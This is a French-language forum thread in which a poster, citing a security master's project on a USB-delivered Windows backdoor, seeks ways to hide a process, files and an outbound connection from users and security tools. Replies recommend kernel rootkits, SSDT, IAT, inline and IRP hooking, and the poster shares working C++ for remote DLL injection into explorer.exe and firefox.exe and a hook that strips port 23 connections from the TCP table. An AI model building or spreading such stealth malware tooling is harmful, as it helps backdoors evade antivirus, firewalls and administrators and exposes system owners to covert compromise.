Hook de messages windows (autres que souris/clavier)

Bonjour à tous,

Dans le cadre d'un projet de master sécurité info, je dois trouver comment camoufler un processus, un fichier, etc. (si besoin de confirmation que je suis bien en master sécurité, vu qu'on pourrait croire que je suis qu'un pirate cherchant à faire un virus, no pb).

Je me suis d'abord tourné vers l'injection de tout une dll dans un processus, sauf qu'autant ça marchait pour renvoyer un prompt shell, autant quand j'injecte toute une application, ça rame comme il faut (forcément, ça charge une dll de qques Mo), et y'a que le début qui marche.

Du coup, ben je suis en train de chercher à intercepter des messages qui pourraient permettre aux différentes applications d'identifier mon processus (via la liste des processus, ou la liste des connexions, etc). Je suis pas super calé en hooks, donc je peux me tromper quand à la dénomination des messages :).

J'ai pas mal cherché (en plus je suis pas mal à la bourre pour mon projet, vu que je pensais que l'injection dll marcherait...), et je bute sur un truc tout simple: d'une, les exemples de hooks d'autre chose que le clavier ou la souris sont rares (ou j'ai mal cherché), et de deux, je ne connais pas les messages à intercepter (j'ai fait un tour sur msdn, mais j'arrive pas à trouver... J'ai cherché dans les WM_*, et je trouve pas).

Bref, si quelqu'un peut m'aiguiller pour mon projet (je demande pas de soluce toute faite, loin de là, juste quelques conseils, ou liens utiles). Je rappelle que c'est pour un projet (le développement d'applications dans ce genre est autorisé à titre pédagogique), et non pas pour diffuser la source massivement sur le net :)...


Merci d'avance!

Ceci pourrai t'intéresser : http://www.rohitab.com/discuss/index...howtopic=23880

Sinon pour traiter plus en profondeur, je crois que les Hook sont incontournables ...

Génial, c'est pile ce que je cherchais!

Du coup, autre(s) question(s):
-Est ce que quelqu'un connait l'équivalent pour cacher une connexion sortante (j'imagine que les firewalls doivent utiliser une API win32 pour détecter les connexions sortantes...)? Au pire, je vais essayer de trouver un code source de firewall, mais bon...
-Après avoir un peu modifié ma dll, j'ai constaté que le processus ciblé ne ramait plus trop trop (ça devait venir du code), et je repose la question: est-ce que le fait d'injecter une dll plus ou moins grosse a une incidence sur son fonctionnement? C'est important pour moi, parce que si oui, j'abandonne cette idée, et si non, je cherche où ça plante (et je peux pas trop me permettre de paumer trop de temps :) ).

En tout cas, merci énormément, smyley!

Citation:

---

Envoyé par strayyy

-Est ce que quelqu'un connait l'équivalent pour cacher une connexion sortante (j'imagine que les firewalls doivent utiliser une API win32 pour détecter les connexions sortantes...)?

---

Aucune idée. Autant je sais comment récupérer les Process, je ne sais même pas comment énumérer les connexions ouvertes ...

Citation:

---

Envoyé par strayyy

-Après avoir un peu modifié ma dll, j'ai constaté que le processus ciblé ne ramait plus trop trop (ça devait venir du code), et je repose la question: est-ce que le fait d'injecter une dll plus ou moins grosse a une incidence sur son fonctionnement?

---

D'après ce que j'en sais, ça dépend seulement de quelles fonctions tu hook et de ce que tu y fais à l'intérieur. A la limite pour masquer ton process tu n'as pas besoin de cacher absolument toutes les fonctions et de fait, c'est pas tout les process qui énumèrent les autres process présents ou la liste des connexions ouvertes donc au pire, tu injectes une dll qui ne fait rien ...

Justement, ce que je faisais, ce n'était pas effectuer un hook via une dll, ce que je faisais, c'était créer une appli réseau en dll, et faire exécuter le code par un processus ciblé distant (les antivirus ne le remarquent pas, idem pour les firewalls). Mais vu que ça marche pas bien pour ma nouvelle appli (alors que pour mon ancienne, qui ne faisait que renvoyer un prompt shell tout bête, ça marchait nickel), je me demande s'il faut que je continue dans ce sens ou non...

Wow tu es motivé ... mais sur ce point je ne peux pas vraiment t'aider ...

Bon, au cas où quelqu'un chercherait la même chose que moi (ou au cas où je me tromperais, et que quelqu'un vienne me corriger :) ), après avoir épluché quelques codes sources de firewalls sur le net, j'en ai retenu que la plupart des firewalls applicatifs (en tout cas, de ceux que j'ai pu lire), créent un driver (dans le même genre que l'exemple donné par smyley), le font charger à tous les processus. Ce driver semble avoir les règles du firewall, et bloquera les processus ne répondant pas à cette règle... Du coup, je vois que 2 solutions qui m'emballent pas: injecter du code dans un exécutable (dll, ou code directement, je sais qu'on peut), ou bien faire en sorte que le driver du firewall ne soit pas injecté dans le processus.

Lien sur les drivers pour firewalls: http://msdn.microsoft.com/en-us/library/ms802732.aspx

Autre petit bémol, les antivirus couinent pas mal quand on utilise le code donné par smyley (mais comme j'en connais pas d'autre pour le moment, et que je ne comprends pas grand chose dans la programmation du driver...).

Voila, donc, ben j'vais essayer de voir si y'a moyen d'améliorer cette (foutue) dll, et si non, tant pis, ce sera un code tout simple.

(ptite remarque: plus j'avance dans la programmation, moins je trouve de tutos ou démos... :D)

Citation:

---

Dans le cadre d'un projet de master sécurité info, je dois trouver comment camoufler un processus, un fichier, etc. (si besoin de confirmation que je suis bien en master sécurité, vu qu'on pourrait croire que je suis qu'un pirate cherchant à faire un virus, no pb).

---

J'ai presque du mal à concevoir que tu sois en Master, ce que tu cherches à faire ne me fait pas penser à un virus mais à un trojan ou une backdoor qui cherche à se dissimuler discrètement.
Faire un virus, c'est complètement différent comme principe de fonctionnement.

Bref, moi je te conseillerais de plutot développer en Ring 0 via un driver (Kernel Rootkit). Au moins tu peux manipuler tout le système en modifiant les points clefs, puis ça évite de s'amuser à injecter ta DLL dans tous les processus existants et ceux qui seront par la suite créés. Et surtout, on se situe sur un pied d'égalité avec l'antivirus.

Cacher un processus, ca se fait assez facilement, notamment aux yeux du gestionnaire de tâches et autre processus qui utilise les mêmes APIs pour obtenir ces informations.

Cacher un fichier, c'est plus galère mais évidemment ca se fait.

Maintenant, si t'es déjà en manque de temps, c'est mal barré pour te lançer dans ce genre de développement.
Il est vrai que l'on peut aussi faire de très bon rootkit userland! Et on évite les BSOD...

[EDIT]: Je viens de relire ça dans les précédents posts:

Citation:

---

Envoyé par smyley

Ceci pourrai t'intéresser : http://www.rohitab.com/discuss/index...howtopic=23880

---

Citation:

---

Envoyé par strayyy

Génial, c'est pile ce que je cherchais!

---

T'as vraiment implémenté ça? Ce code tourne bien dans ta DLL?

Citation:

---

J'ai presque du mal à concevoir que tu sois en Master, ce que tu cherches à faire ne me fait pas penser à un virus mais à un trojan ou une backdoor qui cherche à se dissimuler discrètement.
Faire un virus, c'est complètement différent comme principe de fonctionnement.

---

Donc, le sujet du projet est plus ou moins "backdoor infectant un windows via une clé usb U3/Intuix". Quand je dis "virus", je veux dire "cliché du mec qui veut faire un super virus-trojan-prorat-rootkit-hack-msn de la m0rt et qui spam toutes les boards d'informatique". (et pourant, je suis bel et bien en master, comme quoi, ils acceptent n'importe qui, hein...)

Citation:

---

Maintenant, si t'es déjà en manque de temps, c'est mal barré pour te lançer dans ce genre de développement.
Il est vrai que l'on peut aussi faire de très bon rootkit userland! Et on évite les BSOD...

---

Ben pour le moment, et au vu du temps restant, j'vais surtout essayer de faire marcher ct'injection de dll... Pour ce qui est de capter tout un nouveau concept, et de l'implémenter, tout ça en quoi... 3 jours? Pas gagné d'avance, loin de là. Ceci dit, à titre perso, ça m'intéresse énormément.

Citation:

---

T'as vraiment implémenté ça? Ce code tourne bien dans ta DLL?

---

non, non, chuis pas atteint à ce point, pas dans la dll injectée, ça sert à rien, si ce n'est à se faire griller encore plus. Non, je l'ai foutu dans mon appli de base (donc pas dll, pas injecté, exécutable tout con), histoire de rendre un truc qui se camoufle au moins un tout p'tit peu. Bon, forcément, le driver fait péter un plomb à mon antivirus, donc c'est pas cool.

Citation:

---

Bref, moi je te conseillerais de plutot développer en Ring 0 via un driver (Kernel Rootkit). Au moins tu peux manipuler tout le système en modifiant les points clefs, puis ça évite de s'amuser à injecter ta DLL dans tous les processus existants et ceux qui seront par la suite créés. Et surtout, on se situe sur un pied d'égalité avec l'antivirus.

---

Oui, j'ai lu ça quelque part, et j'ai aussi lu un truc sur une méthode visant à surcharger les APIs en modifiant la SSDT (enfin, en redirigeant les appels sur d'autres adresses mémoires pointant sur mes propres APIs...). C'est bien ça le principe? Ou j'ai tout faux?

Et concernant le développement en "Ring 0", ça consiste en quoi exactement?

Thx pour les réponses :).

Citation:

---

Envoyé par strayyy

Et concernant le développement en "Ring 0", ça consiste en quoi exactement?

---

http://fr.wikipedia.org/wiki/Anneau_de_protection

Merci :).

Bon, ben je jetterais un œil à tout ça, une fois mon projet fini. Ça m'semble quand même ardu :p (et probablement dépourvu de tutos)...

Citation:

---

Donc, le sujet du projet est plus ou moins "backdoor infectant un windows via une clé usb U3/Intuix". Quand je dis "virus", je veux dire "cliché du mec qui veut faire un super virus-trojan-prorat-rootkit-hack-msn de la m0rt et qui spam toutes les boards d'informatique".

---

Bon ok!

Citation:

---

Pour ce qui est de capter tout un nouveau concept, et de l'implémenter, tout ça en quoi... 3 jours? Pas gagné d'avance, loin de là. Ceci dit, à titre perso, ça m'intéresse énormément.

---

En 3 jours, cela ne me semble pas convenable non plus.

Citation:

---

Non, je l'ai foutu dans mon appli de base (donc pas dll, pas injecté, exécutable tout con), histoire de rendre un truc qui se camoufle au moins un tout p'tit peu. Bon, forcément, le driver fait péter un plomb à mon antivirus, donc c'est pas cool.

---

Ok mais normal car la signature de fichier est connu des antivirus. En modifiant ce driver à ta sauce, il y a des chances que ça fonctionne.
Une autre technique que de passer par DKOM (techniques fortes interessantes) et d'effectuer un hook de la SSDT.
Grossomodo, le processus Taskmgr.exe emploie la fonction ZwQuerySystemInformation() pour obtenir la liste des processus qui s'éxécutent sur le système. Donc, en remplaçant la fonction NtQuerySystenInformation dans la SSDT par notre propre fonction hook, on a possibilité de modifier les résultats retournée par la fonction original ZwQuerySystemInformation() et donc corrompre les résultats affichés par TaskManager.

Citation:

---

Et concernant le développement en "Ring 0", ça consiste en quoi exactement?

---

Directement travaillé au niveau du noyau, ça offre beaucoup de possibilités et donc quasiment fini les restrictions.
Si cela t'interesse, tu devras installer la DDK, utiliser DbgPrint et/ou WinDbg, avoir une seconde machine en réseau ou une machine virtuelle car rebooter son propre PC à chaque BSOD, ça va les premières fois.

Citation:

---

Du coup, autre(s) question(s):
-Est ce que quelqu'un connait l'équivalent pour cacher une connexion sortante (j'imagine que les firewalls doivent utiliser une API win32 pour détecter les connexions sortantes...)? Au pire, je vais essayer de trouver un code source de firewall, mais bon...

---

Faire du hooking d'IRPs (I/O Request Packet), qui correspond à hooker un driver. Par exemple "netstat" s'appuie sur le driver Tcpsys.sys via l' IRP_MJ_DEVICE_CONTROL pour obenir les infos demandées.

Citation:

---

Bon, ben je jetterais un œil à tout ça, une fois mon projet fini. Ça m'semble quand même ardu :p (et probablement dépourvu de tutos)...
Aujourd'hui 08h28

---

En effet, c'est tout de même galère! ;)

Merci pour toutes ces réponses!!!

Citation:

---

Ok mais normal car la signature de fichier est connu des antivirus. En modifiant ce driver à ta sauce, il y a des chances que ça fonctionne.

---

Je pensais à ça aussi. Le problème majeur, c'est que c'est la 1ère fois que je touche aux drivers windows, et forcément, je n'y connais strictement rien. J'arrive à comprendre à peu près (enfin, je crois) le principe d'utilisation des drivers (si j'ai bien compris, windows les charge, ils sont utilisés par les processus, et le processus l'ayant chargé peut le modifier?). J'ai cherché quelques tutos (sans grande conviction, j'ai mon projet à boucler :) ), mais pas trouvé...

Citation:

---

Une autre technique que de passer par DKOM (techniques fortes interessantes) et effectuer un hook de la SSDT.
Grossomodo, le processus Taskmgr.exe emploie la fonction ZwQuerySystemInformation() pour obtenir la liste des processus qui s'éxécutent sur le système. Donc, en remplaçant la fonction NtQuerySystenInformation dans la SSDT par notre propre fonction hook, on a possibilité de modifier les résultats retournée par la fonction original ZwQuerySystemInformation() et donc corrompre les résultats affichés par TaskManager.

---

Oui, je comptais essayer ça, mais en 3 jours, c'est limite, je suppose... De plus, niveau hooks, je suis vraiment débutant: un hook de clavier, je comprend, mais du reste... Dur, dur.
Si j'ai bien compris (mais ça m'étonnerais), en principe, il faudrait charger en mémoire une dll contenant ma propre fonction, récupérer l'adresse de la fonction originelle, récupérer l'adresse de ma fonction, et mettre cette dernière où l'originale est définie dans la SSDT, pour que chaque appel renvoie à la mienne, qui se chargera de rappeler l'originale, et de modifier les résultats?
Et même dans le cas où j'aurais compris (mais ça m'étonnerais), je ne sais pas du tout comment faire ça :p. Y'a de la doc/tutos pour ce genre de procédés?

Citation:

---

Directement travaillé au niveau du noyau, ça offre beaucoup de possibilités et donc quasiment fini les restrictions.
Si cela t'interesse, tu devras installer la DDK, utiliser DbgPrint et/ou WinDbg, avoir une seconde machine en réseau ou une machine virtuelle car rebooter son propre PC à chaque BSOD, ça va les premières fois.

---

Travailler sur le noyau, c-a-d? En asm? En c/c++? Ca fait mal? C'est dur? Dois-je en avoir peur? :D. De toute façon, dans l'ordre, c'est essayer la technique sur la ssdt, et ensuite, on verra pour ça.

Citation:

---

Faire du hooking d'IRPs (I/O Request Packet), qui correspond à hooker un driver. Par exemple "netstat" s'appuie sur le driver Tcpsys.sys via l' IRP_MJ_DEVICE_CONTROL pour obtenir les infos demandées.

---

Comme je l'ai dit ci-dessus, je suis une grosse pince en terme de hooks, donc déjà que le terme de driver me parle plus ou moins, un hook de driver, tu penses bien... En fait, je vois pas comment "hooker un driver".


Et sinon, ptite clarification sur ce que je comprend sur les hooks (je suis probablement à côté de la plaque, mais je galère à capter, et j'aimerais pas me tromper dès le début):
-un hook est généralement dans une dll, et appelé via setwindowshookex(), qui permet d'exécuter le code de la dll quand le type de message spécifié dans l'appel de cette fonction passe?
-un hook peut être juste sur un processus (injection de la dll dans ce processus, et comme la dll a accès aux ressources du processus, elle peut modifier les données émises/reçues)? Ca j'en suis pas du tout sûr...



EDIT, j'ai trouvé ces liens pour le hook de ssdt, je m'y plongerais plus tard:
http://nibbles.tuxfamily.org/?p=186
http://nooz.alwaysdata.net/pastes/view/9b1f1efbbc
http://www.ivanlef0u.tuxfamily.org/?p=63

Possible de comprendre/implémenter ça dans une backdoor, en 3 jours, et de faire en sorte que cette dernière soit invisible dans les processus et en tant que connexion sortante (je sais pas si un hook sur ssdt le permet)?

EDIT²: je crois que j'ai besoin d'une sérieuse mise au point sur les hooks :D.

Citation:

---

J'arrive à comprendre à peu près (enfin, je crois) le principe d'utilisation des drivers (si j'ai bien compris, windows les charge, ils sont utilisés par les processus, et le processus l'ayant chargé peut le modifier?).

---

Un processus peut utiliser un driver chargé par le système en ouvrant un handle sur ce driver, de la même facon que si c'était un handle de fichier. Par contre, on ne modifie pas un driver depuis l'espace utilisateur, pour cela il faut se situer dans l'espace noyau, notamment via un autre driver.

Citation:

---

Si j'ai bien compris (mais ça m'étonnerais), en principe, il faudrait charger en mémoire une dll contenant ma propre fonction, récupérer l'adresse de la fonction originelle, récupérer l'adresse de ma fonction, et mettre cette dernière où l'originale est définie dans la SSDT, pour que chaque appel renvoie à la mienne, qui se chargera de rappeler l'originale, et de modifier les résultats?

---

Ce que tu n'aspas compris, c'est la différence entre espace utilisateur (ring3) et espace noyau (ring0). L'idée est correcte mais une DLL opère en ring3. Pour se situer en ring0, il te faut passer par exemple par un driver.

Citation:

---

Travailler sur le noyau, c-a-d? En asm? En c/c++? Ca fait mal? C'est dur? Dois-je en avoir peur? . De toute façon, dans l'ordre, c'est essayer la technique sur la ssdt, et ensuite, on verra pour ça.

---

Comme tu veux, l'asm peut être utilisé pour certains cas mais c'est surtout du C en utilisant les API windows.
A mon avis, pour ton projet, abandonnes cette idée de manipuler la SSDT, car c'est travailler dans l'espace noyau et tu vas manquer de temps. Restes plutot au niveau espace utilisateur.

Citation:

---

-un hook est généralement dans une dll, et appelé via setwindowshookex(), qui permet d'exécuter le code de la dll quand le type de message spécifié dans l'appel de cette fonction passe?

---

Dans ton cas, on se place au niveau espace utilisateur. Je dirais donc, oui généralement mais pas forcément.
setwindowshookex() est souvent utilisé pour faire un hook global, c.a.d que ce hook impactera toutes les applications actives dans ta session.

Citation:

---

Envoyé par msdn

The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

---

Mais tu peux aussi hooker l'IAT d'un processus, d'ailleurs c'est cette méthode (APIs hooking) que je te conseille pour ton projet afin de:
- dissumuler ton processus,
- masquer ton port réseau

Citation:

---

Un processus peut utiliser un driver chargé par le système en ouvrant un handle sur ce driver, de la même facon que si c'était un handle de fichier. Par contre, on ne modifie pas un driver depuis l'espace utilisateur, pour cela il faut se situer dans l'espace noyau, notamment via un autre driver.

---

Okay, je commence à mieux capter. Mais pourquoi le ou les processus vont justement charger ce driver?

Citation:

---

Ce que tu n'aspas compris, c'est la différence entre espace utilisateur (ring3) et espace noyau (ring0). L'idée est correcte mais une DLL opère en ring3. Pour se situer en ring0, il te faut passer par exemple par un driver.

---

Okay, donc avant de voir à faire un hook SSDT, faut absolument que j'étudie la programmation de drivers.

Citation:

---

A mon avis, pour ton projet, abandonnes cette idée de manipuler la SSDT, car c'est travailler dans l'espace noyau et tu vas manquer de temps. Restes plutot au niveau espace utilisateur.

---

Yep, je vais tenter le hook de l'IAT de processus...

Citation:

---

Citation:

---

The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

---

Mais tu peux aussi hooker l'IAT d'un processus, d'ailleurs c'est cette méthode (APIs hooking) que je te conseille pour ton projet afin de:
- dissumuler ton processus,
- masquer ton port réseau

---

Okay, en plus je viens de trouver des blogs où tout ça est détaillé, expliqué, etc.:
http://0vercl0k.blogspot.com/2007/11...-patching.html
http://0vercl0k.blogspot.com/2007/12...emaine-je.html
http://0vercl0k.blogspot.com/search/...iat%20patching

Je vais tenter de mettre ça en pratique!


EDIT: je suis en train de me plonger dans le format PE, et l'import adress table... Passionnant!!! Franchement, merci énormément du coup de main! Pas dit que j'arrive à implémenter ça, mais en tout cas, j'en aurais appris pas mal!


EDIT²: bon, j'ai fini de lire tout ça, je sais comment faut faire pour hooker l'IAT, ou tout du moins, en principe. Me reste plus qu'a trouver un exemple de code, et surtout, une liste des fonctions qu'il me faut détourner. J'ose espérer que je vais pas devoir tout faire avec des jump en mémoire, et que y'a des fonctions C/C++ faites exprès :D.
Franchement, super intéressant, en tout cas!

EDIT3: trouvé, pour les sources! -> http://overclok.free.fr/Codes/IATPat...ellAboutW.html Reste à les comprendre... Et a les modifier... Dur dur, vu qu'elles sont pas trop trop commentées.

EDIT4: y'a rien qui maaaarche! Les exemples:
http://overclok.free.fr/Codes/h0l0c4...0c4ustIDll.htm
et
http://overclok.free.fr/Codes/IATPat...FirstFile.html

Fonctionnent pas (ptetre pasque j'ai du rajouter le NTSTATUS de:
typedef NTSTATUS (__stdcall *NTQUERY)( HANDLE,HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,PVOID,ULONG,FILE_INFORMATION_CLASS,BOOLEAN,PUNICODE_STRING,BOOLEAN);
)?

Citation:

---

Okay, je commence à mieux capter. Mais pourquoi le ou les processus vont justement charger ce driver?

---

Par exemple, pour avoir accès au matériel. Dans le cadre d'un firewall, pour que le code de l'espace utilisateur utilise les résultats d'un driver réseau.

Citation:

---

Okay, donc avant de voir à faire un hook SSDT, faut absolument que j'étudie la programmation de drivers.

---

Du moins un partie, c'est sur! ;-)

Citation:

---

EDIT: je suis en train de me plonger dans le format PE, et l'import adress table... Passionnant!!! Franchement, merci énormément du coup de main! Pas dit que j'arrive à implémenter ça, mais en tout cas, j'en aurais appris pas mal!

---

De rien. C'est clair que c'est très interessant. Tu y arriveras, il n'y a pas de raison en s'y penchant dessus.

Citation:

---

J'ose espérer que je vais pas devoir tout faire avec des jump en mémoire, et que y'a des fonctions C/C++ faites exprès .

---

Des "jumps"? Euh, ça ce n'est pas de l'API hooking mais du inline hooking. Une autre méthode qui a ses avantages.
Par contre, je ne comprends pas ton allusion aux fonctions faîtes exprès.

Citation:

---

EDIT3: trouvé, pour les sources! -> http://overclok.free.fr/Codes/IATPat...ellAboutW.html Reste à les comprendre... Et a les modifier... Dur dur, vu qu'elles sont pas trop trop commentées.

---

Oui 0vercl0k fait un blog sympa. Faudrait que je jette un coup d'oeil sur ces nouveaux articles.

Pour le code en question, il te faut prendre connaissance de cet article (si tu ne l'as pas déjà trouvé) Peering inside the PE et ça devrait le faire.
Point important, c'est le mécanisme d'Adresse Virtuelle Relative (RVA).

Hello,

Si tu veux faire du hooking au niveau user-land, c'est "detours" de MS qu'il te faut. On a pas fait mieux:

http://research.microsoft.com/en-us/projects/detours/

Mais de toute façon il faudra creuser au niveau du PE pour comprendre de quoi il retourne. Le lien fournit par homeostasie vers "Peering inside the PE" est certianement un des meilleurs tuto sur le PE.

Sinon, la spécification PE est dispo ici, même si elle est un peu "aride" au premier contact:

http://www.microsoft.com/whdc/system...re/PECOFF.mspx

Je suis aussi d'avis de laisser tombé le niveau kernel-land si tu n'a vraiment aucune base en connaissance noyau et programmation de drivers, tu risquerais de t'embourber rapidement...

Bon courage :D

Citation:

---

EDIT4: y'a rien qui maaaarche! Les exemples:
http://overclok.free.fr/Codes/h0l0c4...0c4ustIDll.htm
et
http://overclok.free.fr/Codes/IATPat...FirstFile.html

Fonctionnent pas (ptetre pasque j'ai du rajouter le NTSTATUS de:
typedef NTSTATUS (__stdcall *NTQUERY)( HANDLE,HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,PVOID,ULONG,FILE_INFORMATION_CLASS,BOOLEAN,PUNICODE_STRING,BOOLEAN);
)?

---

Euh oui, ok, qu'est ce qui ne vas pas? Faut peut être donné plus de détails? Prendre ton temps pour réfléchir même si l'échéance approche... Faire une pause.

Déjà choisi un des deux exemples, je dirais que le moins compliqué c'est http://overclok.free.fr/Codes/IATPat...FirstFile.html.
Dans le premier exemple, modifier directement l'API native NtQueryDirectoryFile() te permet de corrompre les résultats de l'API Windows FindFirstFileA() et FindNextFileA() sans avoir besoin de les hooker.

Citation:

---

Envoyé par Neitsa

Si tu veux faire du hooking au niveau user-land, c'est "detours" de MS qu'il te faut

---

C'est vrai le "patch inline" est la meilleure méthode mais à strayyy de décider sur quoi il s'oriente maintenant avec ce qu'il a déjà en main pour son projet.

Citation:

---

Euh oui, ok, qu'est ce qui ne vas pas? Faut peut être donné plus de détails? Prendre ton temps pour réfléchir même si l'échéance approche... Faire une pause.

Déjà choisi un des deux exemples, je dirais que le moins compliqué c'est http://overclok.free.fr/Codes/IATPat...FirstFile.html.
Dans le premier exemple, modifier directement l'API native NtQueryDirectoryFile() te permet de corrompre les résultats de l'API Windows FindFirstFileA() et FindNextFileA() sans avoir besoin de les hooker.

---

Aucun des deux ne marchent... Enfin, celui avec findnextfile me fait tout bonnement planter l'exemple, si et seulement si les variables sont déclarées après l'injection de la dll...

Après, la dll, je la crée soit avec Devcpp, soit avec VisualCpp 2008. Dans le 1er cas, rien, dans le second, ça fait planter le programme.

Mais bon, après, ce qui m'intéresse, c'est de détourner l'api permettant de voir les fichiers (2nd exemple), et par dessus tout de planquer soit le processus (tant qu'a faire, je préfère éviter le driver, vu que j'y connais pas grand chose, et que j'aime pas utiliser ce que je comprend pas), soit de planquer la connexion (en fait, c'est le plus urgent)...

Du coup, ça merde pas mal, alors que j'ai bel et bien recopié l'exemple...

Je viens de remarquer que j'ai la ligne suivante (j'ai réouvert un ancien projet):

Citation:

---

extern "C" __declspec(dllexport) void Bipo();

---

Je vais voir si ça viendrait pas de là, par hasard :D.



Pour ce qui est des "detours", on verra plus tard, tant que je comprend un truc, autant l'implémenter :).


EDIT: grave? Je load ma dll, et je peux la supprimer sans problème... Alors qu'elle est sensée être utilisée par les processus non?

Code de l'injection, dans l'injecteur:

Code:

---

1 2 3 4 5 6

while ( pProcess32Next(hTool32,&PEntry) ) if(strcmp ( PEntry.szExeFile, "EXPLORER.EXE" )==0 || strcmp ( PEntry.szExeFile, "explorer.exe" )==0 || strcmp ( PEntry.szExeFile, "firefox.exe" )==0){ InjectLibW(PEntry.th32ProcessID, L"C:\\panic.dll"); }

---

et la fonction pour injecter (que j'ai retrouvé dans un coin...)

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83

BOOL WINAPI InjectLibW(DWORD dwProcessId, PCWSTR pszLibFile) { /******************************************************** COMPILATION: rien a toucher ici. Injection de la dll. *********************************************************/ /******************************************/ /* Tout le monde parle anglais?!? */ /******************************************/ BOOL fOk = FALSE; // Assume that the function fails HANDLE hProcess = NULL, hThread = NULL; PWSTR pszLibFileRemote = NULL; // Get a handle for the target process. hProcess = OpenProcess( PROCESS_CREATE_THREAD | // For CreateRemoteThread PROCESS_VM_OPERATION | // For VirtualAllocEx/VirtualFreeEx PROCESS_VM_WRITE, // For WriteProcessMemory FALSE, dwProcessId); if (hProcess == NULL) { cout<<"hprocess null";} // Calculate the number of bytes needed for the DLL's pathname int cch = 1 + lstrlenW(pszLibFile); int cb = cch * sizeof(WCHAR); // Allocate space in the remote process for the pathname pszLibFileRemote = (PWSTR) VirtualAllocEx(hProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); if (pszLibFileRemote == NULL) { cout<<"virtual alloc null";} // Copy the DLL's pathname to the remote process's address space if (!WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID) pszLibFile, cb, NULL)) { cout<<"writeproc null";} // Get the real address of LoadLibraryW in Kernel32.dll PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); if (pfnThreadRtn == NULL) { cout<<"getproc null";} // Create a remote thread that calls LoadLibraryW(DLLPathname) hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); if (hThread == NULL) { cout<<"create proc null";} // Wait for the remote thread to terminate WaitForSingleObject(hThread, INFINITE); cout<<"Injection OK"<<endl; fOk = TRUE; // Everything executed successfully // Now, we can clean everthing up // Free the remote memory that contained the DLL's pathname if (pszLibFileRemote != NULL) VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE); if (hThread != NULL) CloseHandle(hThread); if (hProcess != NULL) CloseHandle(hProcess); return(fOk); }

---

EDIT4:
Je viens de coder ça, c'est bon? Ca peut servir?

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

DWORD WINAPI myGetTcpTable(PMIB_TCPTABLE pTcpTable, PDWORD pdwSize, BOOL bOrder) { PMIB_TCPTABLE pTcpTable2 = (MIB_TCPTABLE *) malloc(sizeof (MIB_TCPTABLE)); DWORD dwSize = sizeof (MIB_TCPTABLE); DWORD dwRetVal = 0; int i=0; int nbsup=0; int cpt=0; pTcpTable=(MIB_TCPTABLE *) malloc(sizeof (MIB_TCPTABLE)); if ((dwRetVal = GetTcpTable(pTcpTable2, (PULONG)dwSize, TRUE)) == NO_ERROR) { for (i = 0; i < (int) pTcpTable2->dwNumEntries; i++) { if(ntohs((u_short)pTcpTable2->table[i].dwLocalPort)==23) { nbsup++; } else { pTcpTable->table[cpt]=pTcpTable2->table[i]; cpt++; } } } pTcpTable->dwNumEntries=pTcpTable2->dwNumEntries-nbsup; return dwRetVal; }

---

EDIT5 (last one?):
Je viens de remarquer que quand je balance ma backdoor en appli win32 toute simple, sans fenêtres... ELLE NE MARCHE PAS! Ça viendrait pas du compilateur??? Ou du fait que VC++ 2008 (très)!= VC6???

Citation:

---

Aucun des deux ne marchent... Enfin, celui avec findnextfile me fait tout bonnement planter l'exemple, si et seulement si les variables sont déclarées après l'injection de la dll...

---

Je pense tester ceci demain car là j'ai le cerveau HS.

Citation:

---

et par dessus tout de planquer soit le processus (tant qu'a faire, je préfère éviter le driver, vu que j'y connais pas grand chose, et que j'aime pas utiliser ce que je comprend pas)

---

Pour cacher un processus dans taskmgr.exe:
- Il te faut hooker NtQuerySystemInformation() et corrompre les résultats retournés lorsqu'elle est appelée avec SystemInformationClass égale à SystemProcessInformation.
- Apparemment, ne pas utiliser l'API hooking mais l'inline hooking (fonction de détour). La technique consiste à réécrire les premiers octets de la fonction hookée afin d'effectuer un jump vers notre nouvelle fonction. L'avantage de cette technique, c'est que le hook n'est pas affecté par le moment de la liaison de la DLL.

Citation:

---

soit de planquer la connexion (en fait, c'est le plus urgent)...

---

Citation:

---

EDIT4:
Je viens de coder ça, c'est bon? Ca peut servir?

Code :
DWORD WINAPI myGetTcpTable(PMIB_TCPTABLE pTcpTable, PDWORD pdwSize, BOOL bOrder)

---

Je pense que tu es sur la bonne voie pour celle-ci, je parle de l'API à hooker, mais je n'ai jamais pratiqué. Faudrait vérifier que par exemple netstat s'appui sur celle-ci.
Sinon, pour un code complet d'utilisation: msdn GetTcpTable.

Citation:

---

EDIT: grave? Je load ma dll, et je peux la supprimer sans problème... Alors qu'elle est sensée être utilisée par les processus non?

---

Normal, c'est parce qu'elle est mappée dans la mémoire du processus.

Ton échéance est pour quel jour? tu ne t'y serais pas pris un peu tard... :roll: